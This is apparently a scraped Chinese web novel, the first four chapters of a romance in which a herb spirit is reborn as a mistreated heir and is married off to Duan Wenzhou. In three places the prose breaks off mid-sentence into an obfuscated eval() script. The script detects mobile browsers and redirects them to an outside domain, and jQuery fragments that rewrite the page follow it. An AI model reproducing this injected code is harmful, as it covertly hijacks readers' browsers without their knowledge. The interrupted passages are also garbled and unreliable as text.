《笨蛋妖精和总裁联姻后》 1. 第 1 章 深夜的荒山野岭,人迹罕至,在一个远离城区的地方,此处本该是万籁俱寂,可眼下却忽然天色大变,天雷滚滚,闪电划破夜空,狂风裹挟着骤雨,翻搅的动静吓人得紧。 在大地之上,一株蛇舌草在暴雨之中耷拉着茎干,豆大的雨珠砸在脆弱的叶茎表面,看上去已经快要枯萎了。 电闪雷鸣之中,若是再仔细一瞧,便能发现那些天雷似乎都是落在了这株草药的身上和附近,似乎是专门奔其而来。 失败了吗…… 佘念意识迷离,身旁的雷电格外刺眼,让它本就晕眩的大脑更昏沉了。 没想到自己以植物之躯辛苦修炼几百年,本想拼命一渡天劫,希望成功后能够得以化作人形,可最终还是难逃失败的命运。 眼下不仅化形的愿望难以实现,还要被褪去一身修为,搭上性命。 就在佘念缓缓闭上眼睛,准备淡然迎接死亡时,耳畔却忽然响起了一阵浑厚的声音: “佘念,你,可有后悔过?” 声音不见其人,从遥远的天际传来,但又近得仿佛就在耳边。 “不后悔。” 渺小的植株微微晃动着叶片,回答着不知为何突然现身的天道。 “哪怕是丢失性命,也不在乎吗?” “这就是我的选择,我不会为自己的决定反悔。” 明明只是一株微不足道的植物,但回答的声音却是坚定有力,毫不迟疑。 得到了它的答复后,天道沉默了片刻,就在佘念以为它离开了时,那道声音却又再度浮现: “区区草木,却敢以脆弱之躯期望化形,念在你修为不易,信念坚定,上天愿意再给你一次机会。” 随着话音落下,暴雨与电闪雷鸣在一瞬间停了下来,四周仿佛都静止了。 和煦的风吹过,像是有一只温暖的大手抚过身体一样,佘念只觉自己好像渐渐变得轻盈起来,向上漂浮,正缓缓脱离已无生命力的躯体。 “去吧,特赐你一次能够化形的机会,你的灵魂将踏上轮回路成人,命运会为你指引的。” 留下这句话以后,天道便隐去了身形,象征天谴的雷雨也在眨眼间销声匿迹。 眼前的景象越来越远,天道的话也在耳中逐渐空灵模糊,佘念只觉得自己轻飘飘的,一阵困意袭来,令他不知不觉闭上了眼睛。 等佘念再一次醒来时,周边的环境已经发生了翻天覆地的变化。 “这是……” 他瞪大了眼,诧异地扫视了一圈完全陌生的四周。 只见深山老林的自然景象已全然不见,取而代之的是四面白花花的墙壁,自己右边的桌子上摆放着一个有玻璃的四方铁皮,上面有许多不同颜色的曲线和数字,完全看不懂。 而自己的身上则盖着白色的被子,还穿着蓝白条纹的布料。 这里,是人类社会吗? 佘念懵懵地动了动身体,这才察觉到自己的身体也有了变化。 ——不再是绿油油的茎干绿叶,而是人形的四肢和躯体。 自己真的成人了吗? 佘念将手掌伸到眼前,好奇又欣喜地开合张握试了一番,好像跟自己的手不太熟一样,适应了一会五根手指,才确认自己现在真的是人形了。 “原来天道说的是真的……” 他喃喃感慨道,扯着身上的布料即衣服拉了拉,有点不太习惯有东西包住身体的感觉,琢磨是否能脱下来。 看现在的状况,自己化人形的方式应该是直接重生到了某个人的身上,所以才会是成人的形态而非幼儿。 大概是处在融合初期,还需要一段时间磨合,所以此时的他还没有关于原主的记忆,自然也没有人类社会的常识。 不过他还没来得及仔细分析眼下的状况,没搞明白自己现在到底是在哪时,门外忽然传来了一阵响动: “……他醒了没?医生刚刚怎么说的?” “爸,您别担心,医生说他没问题,就是摔下来磕到了脑袋而已,马上就醒了。” “唉,这家伙太笨了……自己从二楼摔下去了,还差点害我们小群被误会。” 随着说话声逐渐接近,最终病房的门被从外推开。 躺在床上的佘念偏过头望去,正好与门外的两男一女对上视线。 他缓缓地眨了眨眼,没有认出来人是谁,但能感觉到他们似乎不太友善。 “爸,你看我就说了的嘛,他没事。” 年轻一点的男孩晃了晃年长男人的手,撒娇道。 而佘毅峰板着脸大步走到了病床边,居高临下地问: “身体怎么样?” “还、还好。” 虽然不知道来人是谁,但佘念下意识乖乖回答,坐起了身,一脸茫然地盯着眼前人看。 “哎呀,肯定是又把脑袋摔得更傻了,你看他现在这个呆瓜样,看起来还是懵的。” 一旁的女人叹了口气,单手抚着脸颊,没好气又夹枪带棒地道。 这又是谁? 佘念迷茫地歪了歪头。 “喂,你还能记得住吗,明明是你自己从二楼露台掉下去的,跟我没有关系对不对?” 男孩双手抱胸,哼了一声,像是话里有话地暗示着什么。 而佘念依然是一副状况外的表情盯着他。 “啧,看来是真又犯病变傻了啊。” 见没有答复,佘群逸不耐地啧了一声,掉头看向父亲佘毅峰。 “我们干脆先回家呗,反正在这他也不认人了,让医生看着他就得了。” “不行,段家的人已经知道这事了,他们说等会会来探病的,要是我们不在这,让人家看见了像什么话。” 佘毅峰皱了皱眉,语气严厉了几分,见状佘群逸也不敢撒娇了,不满地嘟囔了两句就去一旁沙发上坐着玩手机了,头也不抬。 “好端端的,为什么段家要来?” 女人不解地问道。 “估计是为了最近的事,听说段家公司近期资金链有断裂的风险,恐怕是想要我们搭一把手,所以听说有人住院就立刻跑来攀关系了。” 佘毅峰说着,拧起眉头。 “那我们要帮忙吗?” “暂时先按兵不动,因为段家现在……” 两人一边讨论着,一边走到了旁边。 明明是来探病的,可身为主角的佘念却莫名其妙被他们晾在了一边,无人问津。 现在到底是什么情况?人类相处起来是这种风格的吗?各干各的互不搭理对方。 佘念眯起眼,费劲地用自己刚得到的人类大脑去分析眼前的状况。 就在他小脑袋瓜半天没想明白时,病房的门又一次被敲响了,众人齐齐向门口看去。 “段家的人来了。” 佘毅峰和自己的夫人对视一眼,微微点了一下头,同时用目光警告了一眼沙发上的佘群逸。 佘群逸默默收起了手机,但也没起身。 见病床上的佘念还一切正常,没有闹笑话的架势,佘毅峰清了清嗓子,对门口道: “请进。” 随着门被推开的声音,一个高大的男人迈着沉稳的步伐走了进来。 他脚步稳健,身姿挺拔如松,只是这么一个简单走进来的动作,就能吸引屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707027|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人的目光。 “佘叔叔,顾阿姨。” 段闻洲礼貌地打招呼,上前一步。 他的手中捧着一束鲜花,显然是来探病的。 “闻洲啊,好久不见,没想到今天居然是麻烦你来一趟。” 佘毅峰收敛起眼底的诧异,重新换上一副长辈的慈祥姿态。 “嗯,抱歉父亲母亲今天有点事来不了,所以委托我来进行探望。” 段闻洲温和地笑了笑,谦逊有礼。 “那真是太麻烦你了,还专门跑一趟。” 佘夫人顾蓉礼貌地笑了笑,随即转头看了一眼后方的亲儿子。 而佘群逸放下了翘起的二郎腿,不情愿地走上前来到母亲身边。 “来小群,和你闻洲哥哥打个招呼。” “你好。” 佘群逸面无表情地棒读问好。 “你好。” 段闻洲的目光在人身上打量了一番,看出他眼底的不耐烦,便收回视线,不再交谈,转头来到病床边。 “你……好?” 被冷落在旁边的佘念正蒙圈呢,却见几人忽然来了自己身边,便小心翼翼地学着刚才他们的样子说话。 “你好。” 看着他眨巴眨巴的水汪汪大眼睛,还有一脸茫然的表情,段闻洲微微勾起嘴角,对他露出一个温和的笑。 ——比起佘群逸的目中无人,病床上的这单纯的孩子倒更让人心生好感。 看着他的笑,佘念仿佛见到了最喜欢的春日里的微风,眼底闪过一抹惊艳,下意识地拉住了人的衣袖直言不讳地感慨: “闻洲哥哥,你真好看。” 这出于本能的话一出,病房内瞬间陷入了一阵寂静。 佘家的几人默默看着他,脸上的表情精彩极了,而段闻洲的神情同样晦暗不明。 难道我说错话了吗? 应该没错啊,刚刚他们不是说喊这个人闻洲哥哥的吗?而且他也确实很好看啊? 佘念摸不着头脑,抬眼用视线向对面的人发出疑问。 “咳抱歉啊闻洲,犬子小时候遇到了意外,智商方面有点欠缺。” 佘毅峰尴尬地咳了一声。 “没事。” 段闻洲摆手笑了笑,不以为意,看向佘念回应。 “谢谢你的夸奖。” 紧接着,他将手中的花往前递了递: “这是送给你的,希望你早日康复。” “谢——” 佘念刚想伸手去接,可话还没说完,在看清人递来的东西后,却是神情一愣。 等会,怎么,会是花朵? 为、为什么人类会送这样的礼物啊!他们不、不觉得奇怪的吗? ——要知道,对于植物来说,花可是隐私的生.殖器官啊,为什么眼前这个长得好看又温柔的男人,会送这种东西啊! 而且还是这么多朵,简直是骚扰啊…… 佘念的脸唰地一下全红了,仿佛一个熟透的番茄。 “怎么了?” 看着他脸颊泛起一片红晕,还以为他是身体又不舒服了,段闻洲伸出手想要摸一摸他的额头,确认他的体温。 “你不、不要过来啊——!” 救命,有变态啊老天爷! 随着跟前人的凑近,怀里的一大捧花也逐渐逼近,甚至都快要怼到自己的脸上了,佘念脸上的温度都快熟得能煎鸡蛋,脑子一片浆糊,最后竟直接大叫蹦起来,团子一样眼泪汪汪地缩在床头。 弱小,可怜,又无助。 被嫌弃的段闻洲莫名:……难道我做了什么过分的事吗? 2. 第 2 章 为什么人长得这么好看,内里却是个大流氓啊! 佘念缩成一团,可怜巴巴地盯着段闻洲看,面对那一束花更是避之不及,像是受了天大的委屈一样。 而莫名被排斥的段闻洲则尴尬地杵在那,伸出的手停滞在半空,捧着一大束花僵在原地没有动弹。 或许是一时情绪太过高涨,佘念突然间感觉脑海里不太对劲,就像是有什么东西在迅速膨胀发酵,要让大脑炸开一样。 脑子里嗡嗡作响,有无数片段如电影胶带一样快速闪过,令他头晕眼花,下意识用手捂住了疼痛的太阳穴。 见他表情的确不太对,段闻洲收回了手,再次关心地问: “怎么了?有哪里不舒服吗?” 他想要查看一下人的情况,可这凑近的动作反而更吓到了佘念,令他直接掀起被子蒙住头,缩成一个被裹住的圆团子躲在床上。 严严实实的,仿佛搓好的汤圆,一点缝隙都没露。 “真是不好意思啊闻洲,这孩子智商方面有一点问题,所以和正常人不太一样,你多体谅体谅。” 佘毅峰压下因丢脸而冒出的火气,忙上前给人解释道。 “没事,能理解。” 之前也对佘家这位少爷的事有所耳闻,段闻洲摆了摆手表示无碍,随即将花束放在了病床床头。 而此时被窝里的佘念已经没有多余的精力去听外面的他们在说什么了,他现在只觉得自己的脑子里一下子涌入了大量庞杂信息,难以负荷。 ——因为刚才情绪波动过大,所以导致灵魂与身体融合的进度加快,所以原主的记忆涌入了。 原来,原主同样也叫佘念,是佘家名义上的大少爷,但是由于出生时母亲难产,他也因为暂时性的缺氧导致脑子受损,导致智商要比其他人低上那么一截。 外面的佘家三人则分别是原主的父亲、后妈以及同父异母的弟弟。 佘毅峰不是个好东西,在糟糠之妻怀孕期间就出轨,人难产死后没过半年就将小三扶正进了家门,二儿子佘群逸甚至只比大儿子小半岁。 而这后妈顾蓉同样不是个省油的灯,知三当三,在进入佘家后自视甚高,偏心得把自己亲生儿子养成了个骄纵跋扈少爷,却处处为难佘念,对佘群逸欺负人的行为也睁一只眼闭一只眼。 可怜的原主不仅失去了母亲,被父亲嫌弃,还被后妈和弟弟欺负,每天基本上就只能待在房间里不许外出,美其名曰怕给佘家丢人,如同一只本就折翼的小鸟一样,雪上加霜地被关在笼子里失去自由。 甚至这次他被送进医院,也是因为佘群逸故意将人从二楼露台推下导致的,也因此佘念才得以穿至这位同名同姓少爷的身上。 太坏了这群人,佘念愤愤地想,握紧了拳头。 不行,以后必须想办法从他们身上报复回来才行,必须要改写原主悲惨的命运,就当是为原主争口气。 他暗暗在心底发誓。 ——不过此时他却忽略了一件事,那就是由于原主智商不够,所以缺乏很多生活方面的常识,再加上原主的思绪也是断断续续的清醒,所以哪怕有的常识曾经被告知过,可能也会一下子想不起来。 换句话说,就是原主真的是傻子,而且认知方面有问题。 当然,这一点佘念在后来才有切实体验。 “……那么,我就先回去了。” “好的,路上小心,今天麻烦你专程跑一趟来看望小念了。” 直到段闻洲道别的声音响起,沉浸在思绪中的佘念一愣,小心地掀开被子的一个小缝,偷偷朝外打量。 只见段闻洲已经走到了病房门口,而佘家三人正挥手同人道别。 似乎是注意到了这道偷看的目光,段闻洲顿了顿,顺着视线望来,正好与寄居蟹一样露出眼睛的佘念对上眼神。 被逮到的佘念犹豫了几秒后,还是选择了小弧度地伸出手,在被子里同他挥了挥手。 ——刚刚好像他们是这样做的来着。 佘念琢磨道,有样学样地挥手道别。 接收到他的道别信号,段闻洲有些好笑,不知为什么他方才还那么排斥自己,这会又主动跟自己道别了,于是也对他弯了弯嘴角,算是回应。 等到人走后,佘家三人又恢复了最开始的样子,佘毅峰一脸恨铁不成钢的表情,瞪一眼床上的人: “真是丢人,在段家人面前那么没有礼数。” “哎呀,您就别同他计较了,他那智商也是没办法的事,我们也回去吧,让医生在这照顾他就行了。” 顾蓉在一旁煽风点火。 最终,三人留下一句出院时来接你,就径直离开了,将佘念一人留在了病房。 ———— 另一边,走出医院的段闻洲一回到自己车上时,就接到了来自母亲的电话。 “喂妈,什么事?” “儿子啊,去完医院了吗?和佘家的人见过面了吗?” “刚从医院出来,都见到了。” “这样啊,那你对佘家的少爷有什么印象吗?” 段父段母两人特意找借口没去医院,而是让段闻洲代为探望,就是想让他提前同佘家的少爷接触一下。 说到印象,段闻洲第一反应想起来了佘念红着脸一惊一乍的举动,还有他团成一团躲在被子里的可爱模样。 没办法,实在是太让人记忆深刻了,而至于那个经常出现在公众视线里的佘群逸么,则是完全没印象了。 “挺可爱的。” 段闻洲轻笑一声,回答了母亲的问题。 ———— 三天后,终于到了佘念出院的日子。 而这天佘家的人都没有出面,只是安排了一名司机和阿姨来接他出院。 这几天一直被关在医院,连出去逛一逛人类社会的机会都没有,佘念差点快憋死了,这下好不容易能离开这了,整个人兴奋得不行。 司机和阿姨没有和他有什么交流,一个默默给人收拾着要带回去的换洗衣服,一个则默默地驾驶车驶向佘家主宅。 只有后座的佘念一个人激动不已,几乎整张脸都贴在了车窗上,像只刚出生的小猫一样对外界的所有事物都好奇。 不,或者说像刚进城的小土狗也许更准确一些? 哇,人类社会真的和自己之前待的山里完全不一样。 看着外面的景象,佘念不由得感慨道。 好多高楼大厦,好多机器铁皮,还有好多奇奇怪怪的东西,看上去都很厉害。 就是绿色的植物好少哦,整个城市这么大却好像都找不出一丁点的绿色。 就在佘念左瞧瞧右看看中,汽车驶入了主宅的花园中。 这里,就是住的地方吗? 他呆呆地下了车,看了看眼前这栋五层楼高的别墅。 等会,这么大个房子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707028|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我住哪来着? 突然意识到这个问题,并且在记忆中怎么也搜不到答案的佘念愣住了,严肃地拧起眉头火速思考。 不然要是找不到房间,露馅了怎么办? 好在接他回来的阿姨帮了大忙。 “您请先回房休息,这些用品我替您拿回房间内。” 阿姨一边说,一边向楼上佘念所住的房间走去,而某个不知道自己房间在哪的人正好乐颠颠地跟住了她。 “老爷和夫人带着二少爷出去了,今天请您好好在房间休息,不要乱跑。” 见他乖乖回房,阿姨还有些惊讶,不知这位以前最讨厌进房间,总哭着闹着要去外面玩的小傻子怎么突然改了性子。 “谢谢。” 两人在二楼楼梯拐角处最角落的房间外停下后,佘念便知道了这是自己的房间,乖巧地对着阿姨道谢。 见状,阿姨更诧异了,神情古怪地将他上上下下打量了一番,不过最终什么也没说,为人铺好床放下东西后就走了。 关上门后,佘念这才放松下了,脚步欢快地打量起自己的房间来。 这处房间对于一个佘家的少爷来说,其实有一点太小了,但佘念并没有意识到这件事,因为这比起自己之前扎根的那一小方土地来说可太大了。 只不过有些东西他看不太懂是什么,比如说墙上挂着的大黑方块,又比如说床头扔着的一个小黑方块。 晚饭时,家里的保姆把饭端来了房间,佘念便乖乖地在卧室里吃完了晚饭。 大概晚上八点左右,佘毅峰三人才回到家,他询问了下人,得知了佘念出院后一直乖乖待在房间没有出来,这才放下心来,甚至都不准备去看看人。 不过这并不关佘念的事,因为他到点该睡觉了。 但是,有一个重大的问题摆在了他面前。 那就是,这处房间大是大,还有墙壁遮风挡雨很温暖,就是没有看到睡的地方呀? 植物睡觉可是要在泥土里的,可是这里除了钢筋水泥,就只有木头了,根本找不到可以插进去睡觉的泥巴。 算了,凑合一下吧。 自动忽略了床的佘念在床边沿和墙之间的过道里寻了个角落,然后抱腿蹲坐下来。 我们植物睡觉,就是要这样插在地上的! 佘念哼哼着找了个舒服的姿势准备睡下,不过过了一会以后,他又觉得有一点冷。 没法像植物一样缩紧叶片取暖,他抬头扫了一圈四周,见旁边的床上有一床被子,猜测或许能用来充当叶片取暖,便将其拽了下来,把自己团团包裹住。 这个样子,活像一个长在角落里的巨大白蘑菇。 裹着被子,身体渐渐暖和了起来,佘念也在不知不觉中睡了过去。 一夜好眠。 第二天将他吵醒的,是楼下的说话声。 “段家今天来……对,三人都来……” “让小群不要下来……我知道他们是要……” 似乎是佘毅峰和顾蓉在说话,佘念本还想闭眼继续打一会屯,但是没过多久花园里又传出了汽车驶入的声音。 佘念不由得揉了揉惺忪的眼睛,裹着被子缓步挪到窗边,睁着迷糊的眼看清了楼下的来客。 ——只见一辆一看就价值不菲的低调豪车驶入花园,随着车门打开,一对年长的夫妇先下了车。 而陪同他们一道下来的,还有段闻洲。 3. 第 3 章 今天的段闻洲穿着一身笔挺西装,身姿挺拔如松,依然是一副帅气的样子。 诶,那个很帅的变态哥哥怎么又来了? 佘念好奇地贴在窗户上往下看,额头和鼻子的肉都被玻璃挤成了扁平的一块。 不过来人很快就从花园走进了屋内,叫他看不见了。 紧接着,楼下的客厅响起了几人的寒暄交谈声: “哎呀呀,段先生和于夫人,真是好久不见了啊,两位今天难得有时间上门来访,真是让我们佘家蓬荜生辉啊。” “哪里的话,我们也是叨扰来访,冒昧上门打扰你们了。” 只见段父和段母两人同佘家的两位主人热情地握手问好,几人互相寒暄过后才在客厅的沙发上落座。 而段闻洲则跟在父母身后,拿出晚辈的姿态,礼貌地同主家打了招呼后就不再多言,把谈话的主动权交到自己父母手中。 佘毅峰和顾蓉两人十分热心地让保姆给人倒水上点心,不停嘘寒问暖,表面功夫做得十分到位,仿佛刚才在背地里蛐蛐人家的不是他俩一样。 佘念的小眼珠骨碌碌一转,抱着看热闹的心态,悄悄地推开房门的一条缝,蹑手蹑脚地走出卧室,躲在楼梯拐角偷听。 “话说小群这孩子,今天不在家吗?” 段父扫了一眼屋内,没有发现佘群逸的身影,便开口问道。 “那孩子啊,今天出去找朋友玩了,要晚上才回家呢。” 佘毅峰脸不红心不跳地撒了个谎,明明佘群逸本人就躲在房间里打游戏。 “既然如此,佘兄啊,我就开门见山了,其实我们今天上门来打扰,主要是为了一件事。” 见状段父也不再追问,客套的场面话结束后,他喝了一口茶,接着便直奔主题。 “你说。” 佘毅峰的眼神悄悄地与顾蓉对视一眼,闪过一抹微不可察的了然。 “你还记得当年我们的父亲那会,两个老人家商议的娃娃亲吗?” 段父说道。 佘家与段家其实算得上世交,两家都是A市有名的家族集团,特别是在上一辈时,两家的老爷子私交甚好,在儿媳怀孕时还许下了定娃娃亲日后当亲家的约定。 只不过佘家自从佘老爷子去世后,便日渐衰落,在佘毅峰接手后这样式微的趋势不仅没有扭转,反而还有加速的趋势,而段家那边则不喜佘家如今的行事作风,所以现在两家的关系疏远了不少。 虽然不知为何段家忽然提起了娃娃亲一事,但对于段家近段时间的消息有所耳闻,一向趋炎附势的佘毅峰断不会做这种赔本的事。 当然,于是他开始打太极: “哈哈,我当然记得,老爷子当年在世时一直在念叨这桩事呢,只不过我认为这事还是要考虑孩子们自身的意见,毕竟现在时代不同了你说对不对。” “是啊,但是我们也咨询过闻洲的意见了。” 说着,段父看向了段闻洲。 而段闻洲笑了笑,温声开口: “闻洲不介意,全凭父母安排。” 既然段家已经把话说到了这份上,若是再拒绝,那佘家这边就必须得拿出个合理的理由拒绝,不然就只能接受,否则就是驳了人家的面子了。 “这……” 佘毅峰佯装低头沉思片刻,随即又重新挂上了笑,抬起头说道。 “那好,既然段家这边有意愿,我们自然也很乐意能有这个机会,不如我们择日一起吃个饭,让两孩子先接触一下,这样我们也好商量商量订婚的事。” 他一说完,顾蓉似乎是有些着急,忙拽了拽他的衣角,但被人瞪了一眼示意安静。 叽里咕噜说什么呢,什么娃娃亲,听不太懂的意思。 佘念裹着被子蹲在二楼的楼梯拐角,拧着眉头仔细聆听楼下的对话。 只可惜,输在了没文化,听不懂这群人在说什么。 他就像是一个大孢子一样,披着被子圆滚滚地缩在楼梯口,鬼鬼祟祟的。 不知是不是察觉到了来自楼上的目光,在一旁没有做声的段闻洲忽然抬起了头望来。 两人的视线在半空中遇上。 这小孩怎么这个造型? 瞧见他身上裹着被子,还只有个脑袋露在外面,段闻洲哑然失笑,弯了弯嘴角,算是对人打招呼。 他是在对我笑吗? 但是他好变态诶,不太想和他打招呼,等会万一又掏出那玩意送自己可怎么办? 佘念撅嘴琢磨了一会后,最终胆大包天地选择了不理人,团了团被子掉头,以圆润的小碎步挪回了房间。 只留下一个雪白的背影渐行渐远。 还在闹脾气吗?也想不通他那天到底是在气什么。 段闻洲莞尔,并不为人的举动生气。 见他忽然笑了,段母偏头小声地问: “怎么了?” “不,没什么。” 段闻洲摇了摇头。 ———— 来这确认联姻合意的目的达成后,两方又简单地聊了一些无关紧要的话题,拒绝了留下用餐的提议后,段家一行人便离开了。 三人一走,刚才还有礼待人的顾蓉立刻换了副嘴脸,着急忙慌地拽着佘毅峰问: “你怎么答应他们了?刚刚我们不是说好不同意的吗,难道你真要把小群送到段家,你可别忘了现在外面关于段家的传言是怎样的?” “我当然知道。” 佘毅峰拍开了她的手,不悦地看着她这幅不得体的举动。 外面现在有传言,段氏的公司出现了重大问题,面临资金链断裂的风险,可以说如果度过不了这一关,便有破产的风险。 另外段老爷子的身体最近也不太好,具体病情如何不得而知,但据传已经病重被送进过好几次ICU,如果人真的不幸去世,恐怕段家内部也会掀起一阵波澜。 在顾蓉看来,这时和段家联姻,和羊入虎口没什么区别,万一段家真倒了怎么办,她可舍不得把自己的孩子送去遭罪。 “急什么,我又没说过要把小群送过去。” 佘毅峰哼了一声,双手背在身后,似乎是早有准备。 “当年老爷子指腹为婚的,可不是你的肚子。” “你是说——” 闻言,顾蓉睁大了眼,反应过来他的意思。 “对,就把佘念推出去,这样既甩掉了这个累赘,也没有吃亏,让段家他们哑巴吃黄连,自己不占理。” 佘毅峰眼底闪过一抹狡黠。 而楼上忽然成为话题中心的佘念打了个喷嚏。 他困惑地揉了揉鼻子,又把身上的被子往上提了提。 ———— 两家在商议以后,定在了三日后一块在某酒楼的包间用晚餐,共同商议订婚的事。 “佘念,你出来一下,今晚带你出去吃饭。” “啊?” 突然被推开房门点名的佘念,看着门外的佘毅峰,茫然地指了指自己。 “快点,别迟到了。” 瞧见他一动不动的傻样,佘毅峰心底无名火起,怎么看他怎么不顺眼,说话的语气不由得也严厉了几分。 “哦。” 凶什么凶,佘念默默踩上拖鞋,跟着人往楼下走去。 一路上佘毅峰与顾蓉两人都没同佘念说话,而佘念也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707029|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没空在意他们,兴奋地又趴在车窗上看外面的景色。 汽车驶入酒楼的停车场,佘念跟随两人乘坐电梯来到最顶楼。 这铁盒子好小啊,从电梯里出来后,佘念默默在心底吐槽。 包厢里面已经有人在等了,佘念定睛一看,认出了那是前几天来了一趟家里的段父段母二人。 “抱歉,路上堵车,我们来晚了。” 佘毅峰乐呵呵地走进,带着顾蓉上前同他们握手。 “没关系,是我们来早了一点,闻洲那边公司还有点事要处理,可能要晚一点来。” 段父笑着回应,一一和几人打招呼。 不过当他的视线扫视了一圈来人,只看见了后方佘念的身影却没有看见佘群逸时,神情明显愣了一下。 “来,小念,你坐这里。” 佘毅峰却好似故意没看到人的反应一样,摆出一副好父亲的姿态,亲切地招呼佘念在自己身边坐下。 正好不知要干什么的佘念闻言,顺势一屁股坐下了。 “佘先生,小群怎么没来啊?” 段母也发现了这点,定了定神,试探着问。 “小群今晚和朋友出去吃饭了,我想着晚上也没他的事,就随他去了。” 顾蓉掩嘴呵呵一笑,摆了摆手。 这话一出,对面的两人一齐沉默了。 ——佘家没带来佘群逸,而是带来了佘念,其想法不言而喻。 “这不是当年闻洲出生后,老爷子们指腹为婚的是佘念这孩子吗,今晚的主角自然是他,所以我们就把他带来了。” 佘毅峰笑着介绍起身旁的人。 “来,小念,给长辈们打个招呼。” “你好。” 被点名的佘念不明所以,眨巴眨巴眼,无辜又状况外地看向段父二人问好。 见状段母险些要当场拍桌,段父连忙拉住了她。 ——虽然佘家这做法不太道德,怎么看都有故意的意思在里面,但佘念这孩子毕竟是无辜的,当着他的面发难不太合适。 “闻洲大概还要半小时才能到。” 段父说完这句话后,就板着脸不再主动开口,显然也不太高兴。 而佘毅峰两人则假装完全没有察觉到空气中的低气压一样,自顾自地起着话题,也不在意对面的人是不是不太有兴趣接话。 对于这餐桌上的风起云涌,完全在状况外的佘念不懂。 他只知道过了好久都没有上菜开饭。 好饿啊—— 佘念扁了扁嘴,饥肠辘辘,感觉肚子都快要叫出声了。 怎么还不开饭啊—— 那个变态哥哥怎么还没来啊—— 我要吃饭—— “闻洲已经到楼下了,先让服务员上菜吧。” 不知是不是感觉到了佘念的怨念,段父看了看手机上的消息后,招来服务员上菜。 色香味俱全的菜品被一一摆上桌子,恰逢上完菜之时,段闻洲推开了包厢的门: “抱歉,我来晚了。” 不过这时佘念已经顾不上来人了,饿得眼冒金星的他看着眼前的菜肴,吸了吸口水,拿起筷子想要夹一小口填肚子。 顾蓉瞧见他不合礼数的举动,恶狠狠地拍了一把他的手背: “不许动筷。” “哦……” 陡然被打,佘念不情不愿地放下筷子,捂着被打红的手背,委屈巴巴地撇嘴。 站在门口将这幅小动作看在眼里,段闻洲皱了皱眉,但没有说话,同包厢内的长辈打完招呼以后,就径直坐在了佘念的身边。 并直接用筷子给人夹了一块肉放进碗里。 4. 第 4 章 身旁的空位突然有人坐下,空荡荡的碗里也同时被放了一块诱人的肉,佘念怔了怔,随即抬起头看向筷子的主人。 “吃吧。” 段闻洲用口型小声对他示意。 “谢谢!” 闻言,佘念的眼睛倏地一亮,仿佛肉眼可见有绽开的小花从他身上冒出一样,仓鼠一样连忙低头去吃肉。 看来这个变态哥哥其实人也挺好的嘛,看来是自己之前看错人了。 佘念一边小口吃着,一边在心底想。 虽然说这样动筷有点不合规矩,但既然这么做的人是段闻洲,在场的也就没有谁对此提出异议。 “抱歉,我来晚了,公司有事要处理实在脱不开身。” 投喂完佘念后,段闻洲便放下了筷子,歉意地同在坐的长辈们说道。 “没关系,工作为大。” 佘毅峰笑着摆了摆手。 “是啊,也没等多久,年轻人忙,我们都能理解的。” 顾蓉也附和道。 对此段父段母只是客气地笑了笑,没有接话。 “对了,闻洲最近工作怎么样啊?” 闲聊过后,佘毅峰忽然话锋一转,佯装关心地打探起段家公司的近况。 “还可以,都已经能上手了,当然肯定还有很多方面要继续学习。” 段闻洲谦虚地道。 ——确实是谦虚了,因为自几年前段闻洲接手公司以后,段氏集团可以说是有了突飞猛进的发展,比起前几位长辈在位时市值要翻了好几倍。 只不过近期因为资金流动困难,遭遇了一点重大危机而已。 “是吗,应该是因为公司新项目很多,所以才这么忙吧。” 佘毅峰又继续打探着。 对此段闻洲已经看出了他的用意,只是笑了笑,没有正面回答,余光瞥见佘念的碗已经空了,便又抬手给人夹了菜。 正发愁自己还能不能再夹菜呢,佘念见碗里又自动续上了吃的,顿时眼睛冒光,亮晶晶地望着人表达感谢。 真是个大好人!自己之前肯定误会他了! 看着他两眼冒星星,段闻洲没忍住勾了勾嘴角,连带着应对佘毅峰的不悦也淡化了几分。 “好了,这些话以后再慢慢说,先吃饭吧。” 见状,还是段父率先打断这场全是心眼的对话,他看得出佘念是真的饿了,便直接以此为理由止住话头。 闻言,在坐的人纷纷看向佘念。 “嗯?” 嘴巴里正叼着虾仁的佘念缓慢地眨了一下眼睛,用鼻音小声又紧张地发出询问。 仿佛一只在偷吃东西却被当场抓获的小猫一样,心虚地感受着落在身上的几道视线。 “对,让孩子先吃吧。” 段母也动筷,招手示意大家先吃饭,别把孩子饿坏了。 于是接下来在场的众人谁也没有开口提联姻的事,时不时聊点无关的话题,仿佛今晚只是一顿普通的聚餐而已。 虽然没人说,但敏锐如段闻洲,当他一进门瞧见父母脸上的不悦之情,又看清包厢里在坐的只有佘念,而非佘群逸时,就知道发生了什么了。 